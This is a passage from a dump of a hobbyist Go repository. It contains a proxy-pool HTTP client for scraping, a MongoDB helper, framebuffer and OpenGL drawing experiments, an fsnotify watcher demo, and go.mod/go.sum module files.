| resultCh chan *Result 21 | } 22 | 23 | type Result struct { 24 | resp *http.Response 25 | err error 26 | data string 27 | } 28 | 29 | func IpPoolStart() { 30 | defer MetaCollection.Upsert(bson.M{"_id": "ip_pool"}, proxy.OkPool) 31 | var p map[string]*proxy.Proxy 32 | err := MetaCollection.FindId("ip_pool").One(&p) 33 | if err == nil { 34 | proxy.OkPool = p 35 | for k, v := range p { 36 | log.Println(k, *v) 37 | } 38 | } 39 | go proxy.CheckOKPool(15*time.Second, func() { 40 | MetaCollection.Upsert(bson.M{"_id": "ip_pool"}, proxy.OkPool) 41 | }) 42 | for { // 每1/2分钟爬取一次代理 43 | proxy.RefreshPool(nil) 44 | time.Sleep(30 * time.Second) 45 | } 46 | } 47 | 48 | func NewClient(actorNum int) Client { 49 | client := Client{ 50 | reqCh: make(chan *Req, actorNum), 51 | httpClient: http.Client{ 52 | Transport: &http.Transport{Proxy: func(_ *http.Request) (*url.URL, error) { 53 | p := proxy.GetAProxy() 54 | if p == nil { 55 | return nil, nil 56 | } 57 | //根据定义Proxy func(*Request) (*url.URL, error)这里要返回url.URL 58 | return url.Parse("http://" + p.Host + ":" + p.Port + "/") 59 | }}, 60 | CheckRedirect: nil, 61 | Jar: nil, 62 | Timeout: 5 * time.Second, 63 | }, 64 | } 65 | for i := 0; i < actorNum; i++ { 66 | go client.consumer() 67 | } 68 | return client 69 | } 70 | 71 | func (c *Client) consumer() { // 请求消费者 72 | for { 73 | req := <-c.reqCh // 读取请求 74 | result := new(Result) // 构造结果 75 | resp, err := c.httpClient.Do(req.httpReq) // 执行请求 76 | result.resp = resp 77 | if err != nil { // 请求出错返回错误, 接受下一个请求 78 | result.err = err 79 | req.resultCh <- result 80 | continue 81 | } 82 | data, err := ioutil.ReadAll(resp.Body) 83 | if err != nil { 84 | result.err = err 85 | req.resultCh <- result 86 | continue 87 | } 88 | result.data = string(data) // 请求成功, 发送结果 89 | req.resultCh <- result 90 | } 91 | } 92 | 93 | func (c *Client) Get(url string, retry int) (data string, err error) { 94 | req := new(Req) 95 | request, err := http.NewRequest("GET", url, nil) 96 | if err != nil { 97 | return 98 | } 99 | req.httpReq = request 100 | req.resultCh = make(chan *Result, 1) 101 | var result *Result 102 | for retry++; retry > 0; retry-- { 103 | c.reqCh <- req // 添加请求到队列 104 | result = <-req.resultCh // 等待请求被执行 105 | data = result.data 106 | err = result.err 107 | if err == nil && result.resp.StatusCode == 200 { 108 | return 109 | } 110 | } 111 | return 112 | } 113 | -------------------------------------------------------------------------------- /food/mongo.go: -------------------------------------------------------------------------------- 1 | package food 2 | 3 | import ( 4 | "gopkg.in/mgo.v2" 5 | "gopkg.in/mgo.v2/bson" 6 | "log" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | var Session *mgo.Session 12 | var FoodsCollection *mgo.Collection 13 | var WordsCollection *mgo.Collection 14 | var MetaCollection *mgo.Collection 15 | var TaskCollection *mgo.Collection 16 | var DetailCollection *mgo.Collection 17 | 18 | type SJson map[string]interface{} 19 | 20 | func (j *SJson) Get(key string) *interface{} { 21 | path := strings.Split(key, ".") 22 | last := j 23 | for index, k := range path { 24 | if index != len(path)-1 { 25 | v := (*last)[k].(SJson) 26 | last = &v 27 | } else { 28 | v := (*last)[k] 29 | return &v 30 | 31 | } 32 | } 33 | return nil 34 | } 35 | 36 | func saveMetaInterval() { 37 | for { 38 | time.Sleep(time.Second * 5) 39 | saveMeta() 40 | } 41 | } 42 | 43 | var Meta = SJson{ 44 | "cats": []int{1, 2, 3, 4}, 45 | "cats_progress": SJson{ 46 | "1": 23, 47 | "2": 46, 48 | "3": SJson{}, 49 | }, 50 | } 51 | 52 | func saveMeta() { 53 | if MetaCollection != nil { 54 | log.Println("保存元信息", Meta) 55 | _, err := MetaCollection.Upsert(bson.M{"_id": "meta"}, Meta) 56 | if err != nil { 57 | log.Println(err) 58 | } 59 | } else { 60 | log.Println("保存meta失败") 61 | } 62 | } 63 | 64 | func loadMeta() { 65 | result := SJson{} 66 | err := MetaCollection.Find(bson.M{"_id": "meta"}).One(&result) 67 | if err != nil { 68 | log.Println(err) 69 | return 70 | } 71 | log.Println("读取meta", result) 72 | Meta = result 73 | } 74 | 75 | func conMongo() { 76 | url := "mongodb://root:root@127.0.0.1:27017/admin" 77 | s, err := mgo.Dial(url) 78 | if err != nil { 79 | panic(err) 80 | } 81 | s.Refresh() 82 | Session = s 83 | 84 | Session.SetMode(mgo.Monotonic, true) 85 | FoodsCollection = Session.DB("playground").C("foods") 86 | WordsCollection = Session.DB("playground").C("foods_words") 87 | MetaCollection = Session.DB("playground").C("foods_meta") 88 | TaskCollection = Session.DB("playground").C("foods_task") 89 | DetailCollection = Session.DB("playground").C("foods_detail") 90 | } 91 | -------------------------------------------------------------------------------- /frame_buffer/frame_buffer_init_.go: -------------------------------------------------------------------------------- 1 | package frame_buffer 2 | 3 | import ( 4 | "github.com/bfanger/framebuffer" 5 | "image" 6 | "image/png" 7 | "log" 8 | "os" 9 | "time" 10 | ) 11 | 12 | func Init() { 13 | glTest() 14 | return 15 | fb, err := framebuffer.Open("/dev/video0") 16 | if err != nil { 17 | log.Fatalf("could not open framebuffer: %v", err) 18 | } 19 | defer fb.Close() 20 | info, err := fb.VarScreenInfo() 21 | if err != nil { 22 | log.Fatalf("could not read screen info: %v", err) 23 | } 24 | log.Printf(` 25 | Fixed: 26 | %+v 27 | 28 | Variable: 29 | %+v 30 | `, fb.FixScreenInfo, info) 31 | //rand.Read(fb.Buffer) // fill the buffer with noise 32 | 33 | img, err := os.OpenFile("1.png", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0777) 34 | if err != nil { 35 | log.Fatal(err) 36 | } 37 | //img.Write(fb.Buffer) 38 | //img.Close() 39 | 40 | m := make([]byte, len(fb.Buffer)) 41 | copy(m, fb.Buffer) 42 | log.Println(m) 43 | nrgba := image.NewNRGBA(image.Rect(0, 0, 1920, 1080)) 44 | copy(nrgba.Pix, m) 45 | png.Encode(img, nrgba) 46 | img.Close() 47 | copy(fb.Buffer, m) 48 | //log.Println(nrgba.Pix) 49 | go colorful(fb) 50 | <-time.After(30 * time.Second) 51 | } 52 | func colorful(fb *framebuffer.Device) { 53 | time.Sleep(1 * time.Second) 54 | m := make([]byte, len(fb.Buffer)) 55 | i := 0 56 | for { 57 | r, g, b, _ := RGBA(i) 58 | for i := range fb.Buffer { 59 | switch (i + 1) % 4 { 60 | case 0: // R 61 | m[i] = byte(r) 62 | case 1: 63 | m[i] = byte(g) 64 | case 2: 65 | m[i] = byte(b) 66 | case 3: 67 | m[i] = 255 68 | } 69 | } 70 | copy(fb.Buffer, m) 71 | i += 1 72 | if i == 360 { 73 | i = 0 74 | } 75 | //log.Println(m[:40], r, g, b) 76 | time.Sleep(3 * time.Second / 360) 77 | //log.Println(r, g, b) 78 | } 79 | } 80 | 81 | func RGBA(H int) (r, g, b, a int) { 82 | S, V := 255, 255 83 | // Direct implementation of the graph in this image: 84 | // https://en.wikipedia.org/wiki/HSL_and_HSV#/media/File:HSV-RGB-comparison.svg 85 | max := V 86 | min := V * (255 - S) 87 | 88 | H %= 360 89 | segment := H / 60 90 | offset := H % 60 91 | mid := ((max - min) * offset) / 60 92 | 93 | //log.Println(H, max, min, mid) 94 | switch segment { 95 | case 0: 96 | return max, min + mid, min, 0xff 97 | case 1: 98 | return max - mid, max, min, 0xff 99 | case 2: 100 | return min, max, min + mid, 0xff 101 | case 3: 102 | return min, max - mid, max, 0xff 103 | case 4: 104 | return min + mid, min, max, 0xff 105 | case 5: 106 | return max, min, max - mid, 0xff 107 | } 108 | 109 | return 0, 0, 0, 0xff 110 | } 111 | -------------------------------------------------------------------------------- /frame_buffer/gl.go: -------------------------------------------------------------------------------- 1 | package frame_buffer 2 | 3 | import ( 4 | "fmt" 5 | "github.com/go-gl/gl/v3.3-core/gl" // OR: github.com/go-gl/gl/v2.1/gl 6 | "github.com/go-gl/glfw/v3.2/glfw" 7 | "log" 8 | "math" 9 | "runtime" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | const ( 15 | width = 500 16 | height = 500 17 | vertexShaderSource = ` 18 | #version 330 19 | in vec3 vp; 20 | void main() { 21 | gl_Position = vec4(vp, 1.0); 22 | } 23 | ` + "\x00" 24 | fragmentShaderSource = ` 25 | #version 330 26 | out vec4 frag_colour; 27 | void main() { 28 | frag_colour = vec4(1, 1, 1, 1.0); 29 | } 30 | ` + "\x00" 31 | ) 32 | 33 | var ( 34 | triangle = []float32{ 35 | 0, 0.5, 0, 36 | -0.5, -0.5, 0, 37 | 0.5, -0.5, 0, 38 | } 39 | ) 40 | 41 | func glTest() { 42 | runtime.LockOSThread() 43 | window := initGlfw() 44 | defer glfw.Terminate() 45 | program := initOpenGL() 46 | vao := makeVao(&triangle) 47 | i := 1.0 48 | for !window.ShouldClose() { 49 | i++ 50 | triangle[1] = float32(math.Sin(i)) 51 | log.Println(triangle) 52 | draw(vao, window, program) 53 | time.Sleep(100 * time.Millisecond) 54 | } 55 | } 56 | func draw(vao uint32, window *glfw.Window, program uint32) { 57 | gl.Clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT) 58 | gl.UseProgram(program) 59 | gl.BindVertexArray(vao) 60 | gl.DrawArrays(gl.TRIANGLES, 0, int32(len(triangle)/3)) 61 | glfw.PollEvents() 62 | window.SwapBuffers() 63 | } 64 | 65 | // initGlfw 初始化 glfw 并返回一个窗口供使用。 66 | func initGlfw() *glfw.Window { 67 | if err := glfw.Init(); err != nil { 68 | panic(err) 69 | } 70 | glfw.WindowHint(glfw.Resizable, glfw.False) 71 | glfw.WindowHint(glfw.ContextVersionMajor, 3) 72 | glfw.WindowHint(glfw.ContextVersionMinor, 2) 73 | glfw.WindowHint(glfw.OpenGLProfile, glfw.OpenGLCoreProfile) 74 | log.Println(glfw.GetVersionString()) 75 | glfw.WindowHint(glfw.OpenGLForwardCompatible, glfw.True) 76 | window, err := glfw.CreateWindow(width, height, "Conway's Game of Life", nil, nil) 77 | if err != nil { 78 | panic(err) 79 | } 80 | 81 | window.MakeContextCurrent() 82 | return window 83 | } 84 | 85 | // initOpenGL 初始化 OpenGL 并返回一个已经编译好的着色器程序 86 | func initOpenGL() uint32 { 87 | if err := gl.Init(); err != nil { 88 | panic(err) 89 | } 90 | version := gl.GoStr(gl.GetString(gl.VERSION)) 91 | log.Println("OpenGL version", version) 92 | vertexShader, err := compileShader(vertexShaderSource, gl.VERTEX_SHADER) 93 | if err != nil { 94 | panic(err) 95 | } 96 | fragmentShader, err := compileShader(fragmentShaderSource, gl.FRAGMENT_SHADER) 97 | if err != nil { 98 | panic(err) 99 | } 100 | prog := gl.CreateProgram() 101 | gl.AttachShader(prog, vertexShader) 102 | gl.AttachShader(prog, fragmentShader) 103 | gl.LinkProgram(prog) 104 | return prog 105 | } 106 | 107 | // makeVao 执行初始化并从提供的点里面返回一个顶点数组 108 | func makeVao(points *[]float32) uint32 { 109 | var vbo uint32 110 | gl.GenBuffers(1, &vbo) 111 | gl.BindBuffer(gl.ARRAY_BUFFER, vbo) 112 | gl.BufferData(gl.ARRAY_BUFFER, 4*len(*points), gl.Ptr(*points), gl.STATIC_DRAW) 113 | var vao uint32 114 | gl.GenVertexArrays(1, &vao) 115 | gl.BindVertexArray(vao) 116 | gl.EnableVertexAttribArray(0) 117 | gl.BindBuffer(gl.ARRAY_BUFFER, vbo) 118 | gl.VertexAttribPointer(0, 3, gl.FLOAT, false, 0, nil) 119 | return vao 120 | } 121 | func compileShader(source string, shaderType uint32) (uint32, error) { 122 | shader := gl.CreateShader(shaderType) 123 | csources, free := gl.Strs(source) 124 | gl.ShaderSource(shader, 1, csources, nil) 125 | free() 126 | gl.CompileShader(shader) 127 | var status int32 128 | gl.GetShaderiv(shader, gl.COMPILE_STATUS, &status) 129 | if status == gl.FALSE { 130 | var logLength int32 131 | gl.GetShaderiv(shader, gl.INFO_LOG_LENGTH, &logLength) 132 | log := strings.Repeat("\x00", int(logLength+1)) 133 | gl.GetShaderInfoLog(shader, logLength, nil, gl.Str(log)) 134 | return 0, fmt.Errorf("failed to compile %v: %v", source, log) 135 | } 136 | return shader, nil 137 | } 138 | -------------------------------------------------------------------------------- /frame_buffer/my/gl.go: -------------------------------------------------------------------------------- 1 | package my 2 | 3 | import ( 4 | "fmt" 5 | "github.com/go-gl/gl/v3.3-core/gl" // OR: github.com/go-gl/gl/v2.1/gl 6 | "github.com/go-gl/glfw/v3.2/glfw" 7 | "log" 8 | "runtime" 9 | "strings" 10 | ) 11 | 12 | const ( 13 | width = 500 14 | height = 500 15 | vertexShaderSource = ` 16 | #version 330 17 | in vec3 vp; 18 | void main() { 19 | gl_Position = vec4(vp, 1.0); 20 | } 21 | ` + "\x00" 22 | fragmentShaderSource = ` 23 | #version 330 24 | out vec4 frag_colour; 25 | void main() { 26 | frag_colour = vec4(1, 1, 1, 1.0); 27 | } 28 | ` + "\x00" 29 | ) 30 | 31 | var ( 32 | triangle = []float32{ 33 | 0, 0.5, 0, 34 | -0.5, -0.5, 0, 35 | 0.5, -0.5, 0, 36 | } 37 | ) 38 | 39 | func glTest() { 40 | runtime.LockOSThread() 41 | window := initGlfw() 42 | defer glfw.Terminate() 43 | program := initOpenGL() 44 | vao := makeVao(triangle) 45 | for !window.ShouldClose() { 46 | log.Println("--") 47 | draw(vao, window, program) 48 | } 49 | } 50 | func draw(vao uint32, window *glfw.Window, program uint32) { 51 | gl.Clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT) 52 | gl.UseProgram(program) 53 | gl.BindVertexArray(vao) 54 | gl.DrawArrays(gl.TRIANGLES, 0, int32(len(triangle)/3)) 55 | glfw.PollEvents() 56 | window.SwapBuffers() 57 | } 58 | 59 | // initGlfw 初始化 glfw 并返回一个窗口供使用。 60 | func initGlfw() *glfw.Window { 61 | if err := glfw.Init(); err != nil { 62 | panic(err) 63 | } 64 | glfw.WindowHint(glfw.Resizable, glfw.False) 65 | glfw.WindowHint(glfw.ContextVersionMajor, 3) 66 | glfw.WindowHint(glfw.ContextVersionMinor, 2) 67 | glfw.WindowHint(glfw.OpenGLProfile, glfw.OpenGLCoreProfile) 68 | log.Println(glfw.GetVersionString()) 69 | glfw.WindowHint(glfw.OpenGLForwardCompatible, glfw.True) 70 | window, err := glfw.CreateWindow(width, height, "Conway's Game of Life", nil, nil) 71 | if err != nil { 72 | panic(err) 73 | } 74 | 75 | window.MakeContextCurrent() 76 | return window 77 | } 78 | 79 | // initOpenGL 初始化 OpenGL 并返回一个已经编译好的着色器程序 80 | func initOpenGL() uint32 { 81 | if err := gl.Init(); err != nil { 82 | panic(err) 83 | } 84 | version := gl.GoStr(gl.GetString(gl.VERSION)) 85 | log.Println("OpenGL version", version) 86 | vertexShader, err := compileShader(vertexShaderSource, gl.VERTEX_SHADER) 87 | if err != nil { 88 | panic(err) 89 | } 90 | fragmentShader, err := compileShader(fragmentShaderSource, gl.FRAGMENT_SHADER) 91 | if err != nil { 92 | panic(err) 93 | } 94 | prog := gl.CreateProgram() 95 | gl.AttachShader(prog, vertexShader) 96 | gl.AttachShader(prog, fragmentShader) 97 | gl.LinkProgram(prog) 98 | return prog 99 | } 100 | 101 | // makeVao 执行初始化并从提供的点里面返回一个顶点数组 102 | func makeVao(points []float32) uint32 { 103 | var vbo uint32 104 | gl.GenBuffers(1, &vbo) 105 | gl.BindBuffer(gl.ARRAY_BUFFER, vbo) 106 | gl.BufferData(gl.ARRAY_BUFFER, 4*len(points), gl.Ptr(points), gl.STATIC_DRAW) 107 | var vao uint32 108 | gl.GenVertexArrays(1, &vao) 109 | gl.BindVertexArray(vao) 110 | gl.EnableVertexAttribArray(0) 111 | gl.BindBuffer(gl.ARRAY_BUFFER, vbo) 112 | gl.VertexAttribPointer(0, 3, gl.FLOAT, false, 0, nil) 113 | return vao 114 | } 115 | func compileShader(source string, shaderType uint32) (uint32, error) { 116 | shader := gl.CreateShader(shaderType) 117 | csources, free := gl.Strs(source) 118 | gl.ShaderSource(shader, 1, csources, nil) 119 | free() 120 | gl.CompileShader(shader) 121 | var status int32 122 | gl.GetShaderiv(shader, gl.COMPILE_STATUS, &status) 123 | if status == gl.FALSE { 124 | var logLength int32 125 | gl.GetShaderiv(shader, gl.INFO_LOG_LENGTH, &logLength) 126 | log := strings.Repeat("\x00", int(logLength+1)) 127 | gl.GetShaderInfoLog(shader, logLength, nil, gl.Str(log)) 128 | return 0, fmt.Errorf("failed to compile %v: %v", source, log) 129 | } 130 | return shader, nil 131 | } 132 | -------------------------------------------------------------------------------- /fsnotify/go.mod: -------------------------------------------------------------------------------- 1 | module fsnotify 2 | 3 | go 1.12 4 | 5 | require ( 6 | github.com/fsnotify/fsnotify v1.4.7 7 | golang.org/x/sys v0.0.0-20190602015325-4c4f7f33c9ed // indirect 8 | ) 9 | -------------------------------------------------------------------------------- /fsnotify/go.sum: -------------------------------------------------------------------------------- 1 | github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I= 2 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 3 | golang.org/x/sys v0.0.0-20190602015325-4c4f7f33c9ed h1:uPxWBzB3+mlnjy9W58qY1j/cjyFjutgw/Vhan2zLy/A= 4 | golang.org/x/sys v0.0.0-20190602015325-4c4f7f33c9ed/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 5 | -------------------------------------------------------------------------------- /fsnotify/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/fsnotify/fsnotify" 5 | "log" 6 | ) 7 | 8 | func main() { 9 | //创建一个监控对象 10 | watch, err := fsnotify.NewWatcher() 11 | if err != nil { 12 | log.Fatal(err) 13 | } 14 | defer watch.Close() 15 | //添加要监控的对象,文件或文件夹 16 | err = watch.Add("./tmp") 17 | if err != nil { 18 | log.Fatal(err) 19 | } 20 | //我们另启一个goroutine来处理监控对象的事件 21 | go func() { 22 | for { 23 | select { 24 | case ev := <-watch.Events: 25 | { 26 | //判断事件发生的类型,如下5种 27 | // Create 创建 28 | // Write 写入 29 | // Remove 删除 30 | // Rename 重命名 31 | // Chmod 修改权限 32 | if ev.Op&fsnotify.Create == fsnotify.Create { 33 | log.Println("创建文件 : ", ev.Name) 34 | } 35 | if ev.Op&fsnotify.Write == fsnotify.Write { 36 | log.Println("写入文件 : ", ev.Name) 37 | } 38 | if ev.Op&fsnotify.Remove == fsnotify.Remove { 39 | log.Println("删除文件 : ", ev.Name) 40 | } 41 | if ev.Op&fsnotify.Rename == fsnotify.Rename { 42 | log.Println("重命名文件 : ", ev.Name) 43 | } 44 | if ev.Op&fsnotify.Chmod == fsnotify.Chmod { 45 | log.Println("修改权限 : ", ev.Name) 46 | } 47 | } 48 | case err := <-watch.Errors: 49 | { 50 | log.Println("error : ", err) 51 | return 52 | } 53 | } 54 | } 55 | }() 56 | 57 | //循环 58 | select {} 59 | } 60 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module funny 2 | 3 | require ( 4 | github.com/Code-Hex/pget v0.0.0-20170428105109-9294f7465fa7 // indirect 5 | github.com/Code-Hex/updater v0.0.0-20160712085121-c3f278672520 // indirect 6 | github.com/JoelOtter/termloop v0.0.0-20181112204055-0f8867e43cbb // indirect 7 | github.com/PuerkitoBio/goquery v1.4.1 8 | github.com/adamzy/cedar-go v0.0.0-20170805034717-80a9c64b256d // indirect 9 | github.com/andybalholm/cascadia v1.0.0 // indirect 10 | github.com/antonholmquist/jason v1.0.0 // indirect 11 | github.com/asaskevich/govalidator v0.0.0-20180720115003-f9ffefc3facf // indirect 12 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 13 | github.com/bfanger/framebuffer v0.0.0-20180422215920-c4065e73be9c 14 | github.com/chromedp/cdproto v0.0.0-20180713053126-e314dc107013 15 | github.com/chromedp/chromedp v0.1.2 16 | github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2 17 | github.com/go-gl/glfw v0.0.0-20181014061658-691ee1b84c51 18 | github.com/huichen/sego v0.0.0-20180617034105-3f3c8a8cfacc 19 | github.com/issue9/assert v1.0.0 // indirect 20 | github.com/jessevdk/go-flags v1.4.0 // indirect 21 | github.com/kr/pretty v0.1.0 // indirect 22 | github.com/mattn/go-runewidth v0.0.4 // indirect 23 | github.com/mcuadros/go-version v0.0.0-20190308113854-92cdf37c5b75 // indirect 24 | github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d // indirect 25 | github.com/pkg/errors v0.8.0 26 | github.com/rakyll/statik v0.1.5 27 | github.com/ricochet2200/go-disk-usage v0.0.0-20150921141558-f0d1b743428f // indirect 28 | golang.org/x/net v0.0.0-20181106040132-ab400d30ebde // indirect 29 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6 // indirect 30 | golang.org/x/sys v0.0.0-20190310054646-10058d7d4faa // indirect 31 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 // indirect 32 | gopkg.in/cheggaaa/pb.v1 v1.0.28 // indirect 33 | gopkg.in/mgo.v2 v2.0.0-20180705113604-9856a29383ce 34 | gopkg.in/yaml.v2 v2.2.1 // indirect 35 | 36 | ) 37 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Code-Hex/pget v0.0.0-20170428105109-9294f7465fa7 h1:FxSHMytwB6Zu/zCDqB3sSIO5cXCKKev1jD1jeI4ZJ1U= 2 | github.com/Code-Hex/pget v0.0.0-20170428105109-9294f7465fa7/go.mod h1:GYbU7xYkm++KTsMcfaEQ0nl+ghGWnodX7trdDB2PVj8= 3 | github.com/Code-Hex/updater v0.0.0-20160712085121-c3f278672520 h1:AhI5ytq4dAam2scBpgeQY/9kz/covK9/NMyzO3e8350= 4 | github.com/Code-Hex/updater v0.0.0-20160712085121-c3f278672520/go.mod h1:RZRMRhdqo/22EdcyGiDJdIdCrptsRDEbqQ8/bswHV1E= 5 | github.com/JoelOtter/termloop v0.0.0-20181112204055-0f8867e43cbb h1:0Lc5bFgiL6oImFgMORXSUeCTvVJvEX0A7SHS21+6t2s= 6 | github.com/JoelOtter/termloop v0.0.0-20181112204055-0f8867e43cbb/go.mod h1:Tie7OOEgasw91JpzA8UywemPyGehxZ06Gqtl5B1/vXI= 7 | github.com/PuerkitoBio/goquery v1.4.1 h1:smcIRGdYm/w7JSbcdeLHEMzxmsBQvl8lhf0dSw2nzMI= 8 | github.com/PuerkitoBio/goquery v1.4.1/go.mod h1:T9ezsOHcCrDCgA8aF1Cqr3sSYbO/xgdy8/R/XiIMAhA= 9 | github.com/adamzy/cedar-go v0.0.0-20170805034717-80a9c64b256d h1:ir/IFJU5xbja5UaBEQLjcvn7aAU01nqU/NUyOBEU+ew= 10 | github.com/adamzy/cedar-go v0.0.0-20170805034717-80a9c64b256d/go.mod h1:PRWNwWq0yifz6XDPZu48aSld8BWwBfr2JKB2bGWiEd4= 11 | github.com/andybalholm/cascadia v1.0.0 h1:hOCXnnZ5A+3eVDX8pvgl4kofXv2ELss0bKcqRySc45o= 12 | github.com/andybalholm/cascadia v1.0.0/go.mod h1:GsXiBklL0woXo1j/WYWtSYYC4ouU9PqHO0sqidkEA4Y= 13 | github.com/antonholmquist/jason v1.0.0 h1:Ytg94Bcf1Bfi965K2q0s22mig/n4eGqEij/atENBhA0= 14 | github.com/antonholmquist/jason v1.0.0/go.mod h1:+GxMEKI0Va2U8h3os6oiUAetHAlGMvxjdpAH/9uvUMA= 15 | github.com/asaskevich/govalidator v0.0.0-20180720115003-f9ffefc3facf h1:eg0MeVzsP1G42dRafH3vf+al2vQIJU0YHX+1Tw87oco= 16 | github.com/asaskevich/govalidator v0.0.0-20180720115003-f9ffefc3facf/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= 17 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ= 18 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg= 19 | github.com/bfanger/framebuffer v0.0.0-20180422215920-c4065e73be9c h1:E1kIMXGi4cU+qTntDPDV8LTBoRxOMiddjCtRzl/I8EI= 20 | github.com/bfanger/framebuffer v0.0.0-20180422215920-c4065e73be9c/go.mod h1:vrLRExJilR4dUIQt/pFeHdwd6YnayBEl/pc+UKAtMqs= 21 | github.com/chromedp/cdproto v0.0.0-20180713053126-e314dc107013 h1:8nmuTwCseJcww39MvVHI59223+PxSzn6g3cl8ChF0/4= 22 | github.com/chromedp/cdproto v0.0.0-20180713053126-e314dc107013/go.mod h1:C2GPAraqdt1KfZU7aSmx1XUgarNq/3JmxevQkmCjOVs= 23 | github.com/chromedp/chromedp v0.1.2 h1:qB/dpbbbOPGkKyZU2gKB49jp+ZvY9C3rPUfYELLz+6g= 24 | github.com/chromedp/chromedp v0.1.2/go.mod h1:83UDY5CKmHrvKLQ6vVU+LVFUcfjOSPNufx8XFWLUYlQ= 25 | github.com/disintegration/imaging v1.4.2 h1:BSVxoYQ2NfLdvIGCDD8GHgBV5K0FCEsc0d/6FxQII3I= 26 | github.com/disintegration/imaging v1.4.2/go.mod h1:9B/deIUIrliYkyMTuXJd6OUFLcrZ2tf+3Qlwnaf/CjU= 27 | github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2 h1:78Hza2KHn2PX1jdydQnffaU2A/xM0g3Nx1xmMdep9Gk= 28 | github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= 29 | github.com/go-gl/glfw v0.0.0-20181014061658-691ee1b84c51 h1:elGSwayRx7uAsfA5PnVKeTHh+AVsUTmas0CkHOw/DSk= 30 | github.com/go-gl/glfw v0.0.0-20181014061658-691ee1b84c51/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= 31 | github.com/gorilla/websocket v1.2.0 h1:VJtLvh6VQym50czpZzx07z/kw9EgAxI3x1ZB8taTMQQ= 32 | github.com/gorilla/websocket v1.2.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= 33 | github.com/huichen/sego v0.0.0-20180617034105-3f3c8a8cfacc h1:3LXYtoxQGFSjIL5ZJAn4PceSpwRohuTKYL1W4kJ7G8g= 34 | github.com/huichen/sego v0.0.0-20180617034105-3f3c8a8cfacc/go.mod h1:+/Bm7uk1bnJJMi9l6P88FgHeGtscOQiYbxW1j+BmgBY= 35 | github.com/issue9/assert v1.0.0 h1:NkLKrreEZgOdyl0aHlF8Yq2+Id7GsfEtU0rTK8nsN4E= 36 | github.com/issue9/assert v1.0.0/go.mod h1:KLwR3U/5rbCxqwAnV3aCr+dz07aoIyIfk2lefIVr2BA= 37 | github.com/jessevdk/go-flags v1.4.0 h1:4IU2WS7AumrZ/40jfhf4QVDMsQwqA7VEHozFRrGARJA= 38 | github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= 39 | github.com/knq/sysutil v0.0.0-20180306023629-0218e141a794 h1:hgWKTlyruPI7k8W+0FmTMLf+8d2KPxyzTxsfDDQhNp8= 40 | github.com/knq/sysutil v0.0.0-20180306023629-0218e141a794/go.mod h1:BjPj+aVjl9FW/cCGiF3nGh5v+9Gd3VCgBQbod/GlMaQ= 41 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 42 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 43 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 44 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 45 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 46 | github.com/mailru/easyjson v0.0.0-20180606163543-3fdea8d05856 h1:hOnidOuIWNsFRPcxxStGeN3NNm4n4+w6KJ9cVJIh70o= 47 | github.com/mailru/easyjson v0.0.0-20180606163543-3fdea8d05856/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= 48 | github.com/mattn/go-runewidth v0.0.4 h1:2BvfKmzob6Bmd4YsL0zygOqfdFnK7GR4QL06Do4/p7Y= 49 | github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= 50 | github.com/mcuadros/go-version v0.0.0-20190308113854-92cdf37c5b75 h1:Pijfgr7ZuvX7QIQiEwLdRVr3RoMG+i0SbBO1Qu+7yVk= 51 | github.com/mcuadros/go-version v0.0.0-20190308113854-92cdf37c5b75/go.mod h1:76rfSfYPWj01Z85hUf/ituArm797mNKcvINh1OlsZKo= 52 | github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d h1:x3S6kxmy49zXVVyhcnrFqxvNVCBPb2KZ9hV2RBdS840= 53 | github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod 